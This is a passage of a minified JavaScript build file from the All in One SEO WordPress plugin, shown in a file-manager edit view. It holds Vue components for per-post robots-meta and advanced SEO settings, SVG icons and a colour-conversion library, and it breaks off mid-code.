File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/js/App.cf2e7687.js
Back
/* empty css */import{j as lt,b as E,f as B,a as dt,u as Y,Z as nt,_ as Ve,r as _t,v as re,$ as Oe,a0 as ne,e as Z,n as Ne,a1 as Ue,d as Ke,m as ae,C as it,G as le,t as Ge,k as Fe}from"./links.4c32e7b9.js";import{a as j}from"./allowed.ee78f9d1.js";import{g as st,r as Lt}from"./params.f0608262.js";import{a as mt,S as Bt,e as ft,b as Rt,c as ze,C as de,d as wt,f as qe}from"./Caret.da0d1a59.js";import{J as ce}from"./JsonValues.870a4901.js";import{C as G,S as yt,a as Dt,g as We,h as je,i as Ze,c as Ye,j as Je,k as Xe,m as Qe,n as ts,o as es,d as ss,p as os,q as is,r as rs,s as ns,t as as,u as ls,v as ds,w as cs,x as us,y as hs,z as ps,A as gs,D as _s}from"./index.df267eaa.js";import{C as N}from"./SettingsRow.d0f3e207.js";import{B as ms}from"./Checkbox.5408a8ad.js";import{G as fs,a as ys}from"./Row.76881ed1.js";import{r as l,o as n,c as f,d as c,w as d,D as k,t as m,a as u,b as g,f as p,J as P,I as M,N as ue,O as he,E as Ss,l as bs,K as Vt,F as K,M as X,e as q,L as at,y as H,u as W,k as vs}from"./vue.runtime.esm-bundler.ba5c08e0.js";import{_ as S}from"./_plugin-vue_export-helper.80405f63.js";import{C as ks,a as ws,S as Cs}from"./ScrollAndHighlight.a51cda51.js";import{C as ot}from"./Tabs.914ea6bd.js";import{C as Q}from"./Portal.3a9ff02a.js";import{_ as V}from"./default-i18n.3881921e.js";import{u as pe,T as ge}from"./TruSeoScore.b474bf15.js";import{M as Ot}from"./MaxCounts.12b45bab.js";import{S as _e,a as $s}from"./Ellipse.9a695889.js";import{T as Nt}from"./Tags.be8dae65.js";import{r as Es,i as Ps,n as xs,j as Ct,t as $t}from"./postSlug.c3c96fe9.js";import{d as Et}from"./debounce.dd5f3974.js";import{R as Ts,n as As}from"./isArrayLikeObject.ab8f4241.js";import{t as zt}from"./toFinite.85d01b55.js";import{C as F}from"./Tooltip.d28f6bf4.js";import{S as St}from"./Plus.3b9712cb.js";import{S as Ut}from"./Eye.3aa16ebe.js";import{B as Ms}from"./Editor.981fd5ea.js";import{C as bt}from"./Blur.36d19f95.js";import{B as me}from"./RadioToggle.07085555.js";import{C as Ls}from"./GoogleSearchPreview.bdaefbef.js";import{C as Kt}from"./HtmlTagsEditor.89097e20.js";import{T as Hs}from"./Slide.3af65e43.js";import{C as Is}from"./ProBadge.a2777953.js";import{p as qt}from"./popup.6fe74774.js";import{l as gt}from"./license.afc1306d.js";import{a as fe}from"./addons.2b4a9919.js";import{C as ye}from"./Index.f352280d.js";import{W as Bs}from"./WpTable.4548d9cd.js";import{C as Rs}from"./Table.9ae5bcf6.js";import{P as Ds}from"./PostTypes.797a4244.js";import{C as Vs}from"./Index.0b568ff6.js";import{a as Se,S as Os,b as Ns,c as Us}from"./InternalOutbound.f0796d54.js";import{R as Ks}from"./RequiredPlans.cbedd1ac.js";import{I as be,a as ve}from"./Image.48a2c260.js";import{t as ke}from"./tags.04db11b2.js";import{C as Gs}from"./FacebookPreview.11e7f283.js";import{C as we}from"./ImageUploader.07c8a71d.js";import{C as Fs}from"./TwitterPreview.ffc65054.js";import{S as Ce}from"./Settings.db85c25e.js";import{a as $e,S as zs}from"./Build.1b7d7809.js";import{R as qs}from"./Redirects.652b427f.js";import{U as Ws,S as js}from"./Upsell.7d3ae750.js";var Zs=Math.floor,Ys=Math.random;function Js(t,e){return t+Zs(Ys()*(e-t+1))}var Xs=parseFloat,Qs=Math.min,to=Math.random;function eo(t,e,i){if(i&&typeof i!="boolean"&&Ts(t,e,i)&&(e=i=void 0),i===void 0&&(typeof e=="boolean"?(i=e,e=void 0):typeof t=="boolean"&&(i=t,t=void 0)),t===void 0&&e===void 0?(t=0,e=1):(t=zt(t),e===void 0?(e=t,t=0):e=zt(e)),t>e){var s=t;t=e,e=s}if(i||t%1||e%1){var o=to();return Qs(t+o*(e-t+Xs("1e-"+((o+"").length-1))),e)}return Js(t,e)}const so={data(){return{updatingSeoRevisions:!1}},methods:{updateSeoRevisions(){if(window.wp.data.select("core/editor").isSavingPost()&&!window.wp.data.select("core/editor").isAutosavingPost()){this.updatingSeoRevisions=!0;const t=this,e=lt();setTimeout(()=>{e.fetch().finally(()=>{t.updatingSeoRevisions=!1})},2500)}},async watchObjectRevisionsOnSavePost(){await this.$nextTick(),window.wp.data.subscribe(()=>{this.updatingSeoRevisions||this.updateSeoRevisions()})}}};const oo={setup(){return{postEditorStore:E()}},components:{BaseCheckbox:ms,GridColumn:fs,GridRow:ys},data(){return{strings:{useDefaultSettings:this.$t.__("Use Default Settings",this.$td),robotsMeta:this.$t.__("Robots meta:",this.$td),maxSnippet:this.$t.__("Max Snippet",this.$td),maxVideoPreview:this.$t.__("Max Video Preview",this.$td),maxImagePreview:this.$t.__("Max Image Preview",this.$td),standard:this.$t.__("Standard",this.$td),none:this.$t.__("None",this.$td),large:this.$t.__("Large",this.$td),noindex:this.$t.__("No Index",this.$td),nofollow:this.$t.__("No Follow",this.$td),noarchive:this.$t.__("No Archive",this.$td),notranslate:this.$t.__("No Translate",this.$td),noimageindex:this.$t.__("No Image Index",this.$td),nosnippet:this.$t.__("No Snippet",this.$td),noodp:this.$t.__("No ODP",this.$td)}}},computed:{imagePreviewOptions(){return[{label:this.strings.none,value:"none"},{label:this.strings.standard,value:"standard"},{label:this.strings.large,value:"large"}]}},methods:{getImagePreview(t){return this.imagePreviewOptions.find(e=>e.value===t)},saveImagePreview(t){this.postEditorStore.currentPost.maxImagePreview=t,this.postEditorStore.isDirty=!0}}},io={class:"aioseo-robots-meta"},ro={key:0,class:"global-robots-settings aioseo-description"},no={class:"robots-meta-title"},ao={class:"global-robots-settings-options"},lo={key:0,class:"aioseo-description max-snippet"},co={class:"aioseo-description max-video-preview"},uo={key:1,class:"aioseo-description max-image-preview"};function ho(t,e,i,s,o,r){const h=l("base-toggle"),a=l("base-checkbox"),_=l("grid-column"),y=l("grid-row"),C=l("base-input"),$=l("base-select");return n(),f("div",io,[c(h,{modelValue:s.postEditorStore.currentPost.default,"onUpdate:modelValue":[e[0]||(e[0]=b=>s.postEditorStore.currentPost.default=b),e[1]||(e[1]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.useDefaultSettings),1)]),_:1},8,["modelValue"]),s.postEditorStore.currentPost.default?p("",!0):(n(),f("div",ro,[u("span",no,m(o.strings.robotsMeta),1),c(y,{class:"settings"},{default:d(()=>[s.postEditorStore.currentPost.isHomePage?p("",!0):(n(),g(_,{key:0,xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.noindex,"onUpdate:modelValue":[e[2]||(e[2]=b=>s.postEditorStore.currentPost.noindex=b),e[3]||(e[3]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.noindex),1)]),_:1},8,["modelValue"])]),_:1})),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.nofollow,"onUpdate:modelValue":[e[4]||(e[4]=b=>s.postEditorStore.currentPost.nofollow=b),e[5]||(e[5]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.nofollow),1)]),_:1},8,["modelValue"])]),_:1}),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.noarchive,"onUpdate:modelValue":[e[6]||(e[6]=b=>s.postEditorStore.currentPost.noarchive=b),e[7]||(e[7]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.noarchive),1)]),_:1},8,["modelValue"])]),_:1}),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.notranslate,"onUpdate:modelValue":[e[8]||(e[8]=b=>s.postEditorStore.currentPost.notranslate=b),e[9]||(e[9]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.notranslate),1)]),_:1},8,["modelValue"])]),_:1}),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.noimageindex,"onUpdate:modelValue":[e[10]||(e[10]=b=>s.postEditorStore.currentPost.noimageindex=b),e[11]||(e[11]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.noimageindex),1)]),_:1},8,["modelValue"])]),_:1}),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.nosnippet,"onUpdate:modelValue":[e[12]||(e[12]=b=>s.postEditorStore.currentPost.nosnippet=b),e[13]||(e[13]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.nosnippet),1)]),_:1},8,["modelValue"])]),_:1}),c(_,{xl:"3",md:"4",sm:"6"},{default:d(()=>[c(a,{size:"medium",modelValue:s.postEditorStore.currentPost.noodp,"onUpdate:modelValue":[e[14]||(e[14]=b=>s.postEditorStore.currentPost.noodp=b),e[15]||(e[15]=b=>s.postEditorStore.isDirty=!0)]},{default:d(()=>[k(m(o.strings.noodp),1)]),_:1},8,["modelValue"])]),_:1})]),_:1}),u("div",ao,[s.postEditorStore.currentPost.nosnippet?p("",!0):(n(),f("div",lo,[u("span",null,m(o.strings.maxSnippet),1),c(C,{type:"number",size:"medium",modelValue:s.postEditorStore.currentPost.maxSnippet,"onUpdate:modelValue":[e[16]||(e[16]=b=>s.postEditorStore.currentPost.maxSnippet=b),e[17]||(e[17]=b=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])])),u("div",co,[u("span",null,m(o.strings.maxVideoPreview),1),c(C,{type:"number",size:"medium",modelValue:s.postEditorStore.currentPost.maxVideoPreview,"onUpdate:modelValue":[e[18]||(e[18]=b=>s.postEditorStore.currentPost.maxVideoPreview=b),e[19]||(e[19]=b=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])]),s.postEditorStore.currentPost.noimageindex?p("",!0):(n(),f("div",uo,[u("span",null,m(o.strings.maxImagePreview),1),c($,{size:"medium",options:r.imagePreviewOptions,modelValue:r.getImagePreview(s.postEditorStore.currentPost.maxImagePreview),"onUpdate:modelValue":e[20]||(e[20]=b=>r.saveImagePreview(b.value))},null,8,["options","modelValue"])]))])]))])}const po=S(oo,[["render",ho]]);const go={setup(){return{licenseStore:B(),optionsStore:dt(),postEditorStore:E()}},components:{CoreAlert:G,CoreSettingsRow:N,CoreSingleRobotsMeta:po},mixins:[ce],props:{disabled:{type:Boolean,default(){return!1}},type:{type:String,required:!1},object:{type:Object,required:!1}},data(){return{strings:{pageName:this.$t.__("Advanced",this.$td),robotsSetting:this.$t.__("Robots Setting",this.$td),robotsToggle:this.$t.__("Use Default Settings",this.$td),canonicalUrl:this.$t.__("Canonical URL",this.$td),placeholder:this.$t.__("Enter a URL to change the default Canonical URL",this.$td),priorityScore:this.$t.__("Priority Score",this.$td),priority:this.$t.__("Priority",this.$td),frequency:this.$t.__("Frequency",this.$td),priorityFrequencyUpsell:this.$t.sprintf(this.$t.__("Priority Score is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"priority-frequency",!0)),keywords:this.$t.__("Keywords",this.$td),tagPlaceholder:this.$t.__("Press enter to create a keyword",this.$td)}}},computed:{getPriorityOptions(){return[{label:this.$t.__("default",this.$td),value:"default"}].concat(this.$constants.PRIORITY_OPTIONS)},getFrequencyOptions(){return[{label:this.$t.__("default",this.$td),value:"default"}].concat(this.$constants.FREQUENCY_OPTIONS)}},methods:{getPriority(t){return t=t!=="default"?parseFloat(t):t,this.getPriorityOptions.find(e=>e.value===t)},savePriority(t){this.postEditorStore.currentPost.priority=t,this.postEditorStore.isDirty=!0},getFrequency(t){return this.getFrequencyOptions.find(e=>e.value===t)},saveFrequency(t){this.postEditorStore.currentPost.frequency=t,this.postEditorStore.isDirty=!0}}},_o={class:"aioseo-tab-content aioseo-post-advanced"},mo={class:"selectbox-row"},fo={class:"select"},yo=u("div",{class:"separator"},[u("span"),k(" - ")],-1),So={class:"select"},bo=["innerHTML"];function vo(t,e,i,s,o,r){const h=l("core-single-robots-meta"),a=l("core-settings-row"),_=l("base-input"),y=l("base-select"),C=l("core-alert");return n(),f("div",_o,[c(a,{id:"aioseo-post-robots-setting",name:o.strings.robotsSetting,align:""},{content:d(()=>[c(h)]),_:1},8,["name"]),c(a,{id:"aioseo-post-canonical-url",name:o.strings.canonicalUrl,align:""},{content:d(()=>[c(_,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.canonicalUrl,"onUpdate:modelValue":[e[0]||(e[0]=$=>s.postEditorStore.currentPost.canonicalUrl=$),e[1]||(e[1]=$=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"]),c(a,{name:o.strings.priorityScore,align:""},{content:d(()=>[u("div",mo,[u("div",fo,[u("span",null,m(o.strings.priority),1),c(y,{disabled:s.licenseStore.isUnlicensed,size:"medium",options:r.getPriorityOptions,modelValue:s.licenseStore.isUnlicensed?r.getPriority("default"):r.getPriority(s.postEditorStore.currentPost.priority),"onUpdate:modelValue":e[2]||(e[2]=$=>s.licenseStore.isUnlicensed?null:r.savePriority($.value))},null,8,["disabled","options","modelValue"])]),yo,u("div",So,[u("span",null,m(o.strings.frequency),1),c(y,{disabled:s.licenseStore.isUnlicensed,size:"medium",options:r.getFrequencyOptions,modelValue:s.licenseStore.isUnlicensed?r.getFrequency("default"):r.getFrequency(s.postEditorStore.currentPost.frequency),"onUpdate:modelValue":e[3]||(e[3]=$=>s.licenseStore.isUnlicensed?null:r.saveFrequency($.value))},null,8,["disabled","options","modelValue"])])]),s.licenseStore.isUnlicensed?(n(),g(C,{key:0,class:"inline-upsell",type:"blue"},{default:d(()=>[u("div",{innerHTML:o.strings.priorityFrequencyUpsell},null,8,bo)]),_:1})):p("",!0)]),_:1},8,["name"]),s.optionsStore.options.searchAppearance.advanced.useKeywords?(n(),g(a,{key:0,name:o.strings.keywords,align:""},{content:d(()=>[c(y,{multiple:"",taggable:"",options:t.getJsonValue(s.postEditorStore.currentPost.keywords)||[],modelValue:t.getJsonValue(s.postEditorStore.currentPost.keywords)||[],"onUpdate:modelValue":e[4]||(e[4]=$=>s.postEditorStore.currentPost.keywords=t.setJsonValue($)),"tag-placeholder":o.strings.tagPlaceholder},null,8,["options","modelValue","tag-placeholder"])]),_:1},8,["name"])):p("",!0)])}const ko=S(go,[["render",vo]]),wo={setup(){return{licenseStore:B(),rootStore:Y()}},components:{CoreApiBar:ks,CoreLicenseKeyBar:ws}};function Co(t,e,i,s,o,r){const h=l("core-api-bar"),a=l("core-license-key-bar");return n(),f("div",null,[s.rootStore.pong?p("",!0):(n(),g(h,{key:0})),t.$isPro&&s.licenseStore.isUnlicensed&&s.rootStore.pong?(n(),g(a,{key:1})):p("",!0)])}const Ee=S(wo,[["render",Co]]),$o={},Eo={width:"20",height:"18",viewBox:"0 0 20 18",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-desktop"},Po=u("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M2.50004 0.666504H17.5C18.4167 0.666504 19.1667 1.4165 19.1667 2.33317V12.3332C19.1667 13.2498 18.4167 13.9998 17.5 13.9998H11.6667V15.6665H13.3334V17.3332H6.66671V15.6665H8.33337V13.9998H2.50004C1.58337 13.9998 0.833374 13.2498 0.833374 12.3332V2.33317C0.833374 1.4165 1.58337 0.666504 2.50004 0.666504ZM2.50004 12.3332H17.5V2.33317H2.50004V12.3332Z",fill:"currentColor"},null,-1),xo=[Po];function To(t,e){return n(),f("svg",Eo,xo)}const Pe=S($o,[["render",To]]),Ao={},Mo={width:"12",height:"20",viewBox:"0 0 12 20",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-mobile"},Lo=u("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M1.72767 0.833496L10.061 0.841829C10.9777 0.841829 11.7277 1.5835 11.7277 2.50016V17.5002C11.7277 18.4168 10.9777 19.1668 10.061 19.1668H1.72767C0.811003 19.1668 0.0693359 18.4168 0.0693359 17.5002V2.50016C0.0693359 1.5835 0.811003 0.833496 1.72767 0.833496ZM1.72763 15.8335H10.061V4.16683H1.72763V15.8335Z",fill:"currentColor"},null,-1),Ho=[Lo];function Io(t,e){return n(),f("svg",Mo,Ho)}const xe=S(Ao,[["render",Io]]),J=t=>t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");var Bo={grad:.9,turn:360,rad:360/(2*Math.PI)},z=function(t){return typeof t=="string"?t.length>0:typeof t=="number"},T=function(t,e,i){return e===void 0&&(e=0),i===void 0&&(i=Math.pow(10,e)),Math.round(i*t)/i+0},I=function(t,e,i){return e===void 0&&(e=0),i===void 0&&(i=1),t>i?i:t>e?t:e},Te=function(t){return(t=isFinite(t)?t%360:0)>0?t:t+360},Wt=function(t){return{r:I(t.r,0,255),g:I(t.g,0,255),b:I(t.b,0,255),a:I(t.a)}},Pt=function(t){return{r:T(t.r),g:T(t.g),b:T(t.b),a:T(t.a,3)}},Ro=/^#([0-9a-f]{3,8})$/i,pt=function(t){var e=t.toString(16);return e.length<2?"0"+e:e},Ae=function(t){var e=t.r,i=t.g,s=t.b,o=t.a,r=Math.max(e,i,s),h=r-Math.min(e,i,s),a=h?r===e?(i-s)/h:r===i?2+(s-e)/h:4+(e-i)/h:0;return{h:60*(a<0?a+6:a),s:r?h/r*100:0,v:r/255*100,a:o}},Me=function(t){var e=t.h,i=t.s,s=t.v,o=t.a;e=e/360*6,i/=100,s/=100;var r=Math.floor(e),h=s*(1-i),a=s*(1-(e-r)*i),_=s*(1-(1-e+r)*i),y=r%6;return{r:255*[s,a,h,h,_,s][y],g:255*[_,s,s,a,h,h][y],b:255*[h,h,_,s,s,a][y],a:o}},jt=function(t){return{h:Te(t.h),s:I(t.s,0,100),l:I(t.l,0,100),a:I(t.a)}},Zt=function(t){return{h:T(t.h),s:T(t.s),l:T(t.l),a:T(t.a,3)}},Yt=function(t){return Me((i=(e=t).s,{h:e.h,s:(i*=((s=e.l)<50?s:100-s)/100)>0?2*i/(s+i)*100:0,v:s+i,a:e.a}));var e,i,s},rt=function(t){return{h:(e=Ae(t)).h,s:(o=(200-(i=e.s))*(s=e.v)/100)>0&&o<200?i*s/100/(o<=100?o:200-o)*100:0,l:o/2,a:e.a};var e,i,s,o},Do=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Vo=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Oo=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,No=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,Ht={string:[[function(t){var e=Ro.exec(t);return e?(t=e[1]).length<=4?{r:parseInt(t[0]+t[0],16),g:parseInt(t[1]+t[1],16),b:parseInt(t[2]+t[2],16),a:t.length===4?T(parseInt(t[3]+t[3],16)/255,2):1}:t.length===6||t.length===8?{r:parseInt(t.substr(0,2),16),g:parseInt(t.substr(2,2),16),b:parseInt(t.substr(4,2),16),a:t.length===8?T(parseInt(t.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(t){var e=Oo.exec(t)||No.exec(t);return e?e[2]!==e[4]||e[4]!==e[6]?null:Wt({r:Number(e[1])/(e[2]?100/255:1),g:Number(e[3])/(e[4]?100/255:1),b:Number(e[5])/(e[6]?100/255:1),a:e[7]===void 0?1:Number(e[7])/(e[8]?100:1)}):null},"rgb"],[function(t){var e=Do.exec(t)||Vo.exec(t);if(!e)return null;var i,s,o=jt({h:(i=e[1],s=e[2],s===void 0&&(s="deg"),Number(i)*(Bo[s]||1)),s:Number(e[3]),l:Number(e[4]),a:e[5]===void 0?1:Number(e[5])/(e[6]?100:1)});return Yt(o)},"hsl"]],object:[[function(t){var e=t.r,i=t.g,s=t.b,o=t.a,r=o===void 0?1:o;return z(e)&&z(i)&&z(s)?Wt({r:Number(e),g:Number(i),b:Number(s),a:Number(r)}):null},"rgb"],[function(t){var e=t.h,i=t.s,s=t.l,o=t.a,r=o===void 0?1:o;if(!z(e)||!z(i)||!z(s))return null;var h=jt({h:Number(e),s:Number(i),l:Number(s),a:Number(r)});return Yt(h)},"hsl"],[function(t){var e=t.h,i=t.s,s=t.v,o=t.a,r=o===void 0?1:o;if(!z(e)||!z(i)||!z(s))return null;var h=function(a){return{h:Te(a.h),s:I(a.s,0,100),v:I(a.v,0,100),a:I(a.a)}}({h:Number(e),s:Number(i),v:Number(s),a:Number(r)});return Me(h)},"hsv"]]},Jt=function(t,e){for(var i=0;i<e.length;i++){var s=e[i][0](t);if(s)return[s,e[i][1]]}return[null,void 0]},Uo=function(t){return typeof t=="string"?Jt(t.trim(),Ht.string):typeof t=="object"&&t!==null?Jt(t,Ht.object):[null,void 0]},xt=function(t,e){var i=rt(t);return{h:i.h,s:I(i.s+100*e,0,100),l:i.l,a:i.a}},Tt=function(t){return(299*t.r+587*t.g+114*t.b)/1e3/255},Xt=function(t,e){var i=rt(t);return{h:i.h,s:i.s,l:I(i.l+100*e,0,100),a:i.a}},It=function(){function t(e){this.parsed=Uo(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return t.prototype.isValid=function(){return this.parsed!==null},t.prototype.brightness=function(){return T(Tt(this.rgba),2)},t.prototype.isDark=function(){return Tt(this.rgba)<.5},t.prototype.isLight=function(){return Tt(this.rgba)>=.5},t.prototype.toHex=function(){return e=Pt(this.rgba),i=e.r,s=e.g,o=e.b,h=(r=e.a)<1?pt(T(255*r)):"","#"+pt(i)+pt(s)+pt(o)+h;var e,i,s,o,r,h},t.prototype.toRgb=function(){return Pt(this.rgba)},t.prototype.toRgbString=function(){return e=Pt(this.rgba),i=e.r,s=e.g,o=e.b,(r=e.a)<1?"rgba("+i+", "+s+", "+o+", "+r+")":"rgb("+i+", "+s+", "+o+")";var e,i,s,o,r},t.prototype.toHsl=function(){return Zt(rt(this.rgba))},t.prototype.toHslString=function(){return e=Zt(rt(this.rgba)),i=e.h,s=e.s,o=e.l,(r=e.a)<1?"hsla("+i+", "+s+"%, "+o+"%, "+r+")":"hsl("+i+", "+s+"%, "+o+"%)";var e,i,s,o,r},t.prototype.toHsv=function(){return e=Ae(this.rgba),{h:T(e.h),s:T(e.s),v:T(e.v),a:T(e.a,3)};var e},t.prototype.invert=function(){return U({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},t.prototype.saturate=function(e){return e===void 0&&(e=.1),U(xt(this.rgba,e))},t.prototype.desaturate=function(e){return e===void 0&&(e=.1),U(xt(this.rgba,-e))},t.prototype.grayscale=function(){return U(xt(this.rgba,-1))},t.prototype.lighten=function(e){return e===void 0&&(e=.1),U(Xt(this.rgba,e))},t.prototype.darken=function(e){return e===void 0&&(e=.1),U(Xt(this.rgba,-e))},t.prototype.rotate=function(e){return e===void 0&&(e=15),this.hue(this.hue()+e)},t.prototype.alpha=function(e){return typeof e=="number"?U({r:(i=this.rgba).r,g:i.g,b:i.b,a:e}):T(this.rgba.a,3);var i},t.prototype.hue=function(e){var i=rt(this.rgba);return typeof e=="number"?U({h:e,s:i.s,l:i.l,a:i.a}):T(i.h)},t.prototype.isEqual=function(e){return this.toHex()===U(e).toHex()},t}(),U=function(t){return t instanceof It?t:new It(t)},Qt=[],Ko=function(t){t.forEach(function(e){Qt.indexOf(e)<0&&(e(It,Ht),Qt.push(e))})};function Go(t,e){var i={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},s={};for(var o in i)s[i[o]]=o;var r={};t.prototype.toName=function(h){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var a,_,y=s[this.toHex()];if(y)return y;if(h!=null&&h.closest){var C=this.toRgb(),$=1/0,b="black";if(!r.length)for(var v in i)r[v]=new t(i[v]).toRgb();for(var w in i){var R=(a=C,_=r[w],Math.pow(a.r-_.r,2)+Math.pow(a.g-_.g,2)+Math.pow(a.b-_.b,2));R<$&&($=R,b=w)}return b}},e.string.push([function(h){var a=h.toLowerCase(),_=a==="transparent"?"#0000":i[a];return _?new t(_).toRgb():null},"name"])}var At=function(t){var e=t/255;return e<.04045?e/12.92:Math.pow((e+.055)/1.055,2.4)},Mt=function(t){return .2126*At(t.r)+.7152*At(t.g)+.0722*At(t.b)};function Fo(t){t.prototype.luminance=function(){return e=Mt(this.rgba),(i=2)===void 0&&(i=0),s===void 0&&(s=Math.pow(10,i)),Math.round(s*e)/s+0;var e,i,s},t.prototype.contrast=function(e){e===void 0&&(e="#FFF");var i,s,o,r,h,a,_,y=e instanceof t?e:new t(e);return r=this.rgba,h=y.toRgb(),a=Mt(r),_=Mt(h),i=a>_?(a+.05)/(_+.05):(_+.05)/(a+.05),(s=2)===void 0&&(s=0),o===void 0&&(o=Math.pow(10,s)),Math.floor(o*i)/o+0},t.prototype.isReadable=function(e,i){return e===void 0&&(e="#FFF"),i===void 0&&(i={}),this.contrast(e)>=(a=(h=(s=i).size)===void 0?"normal":h,(r=(o=s.level)===void 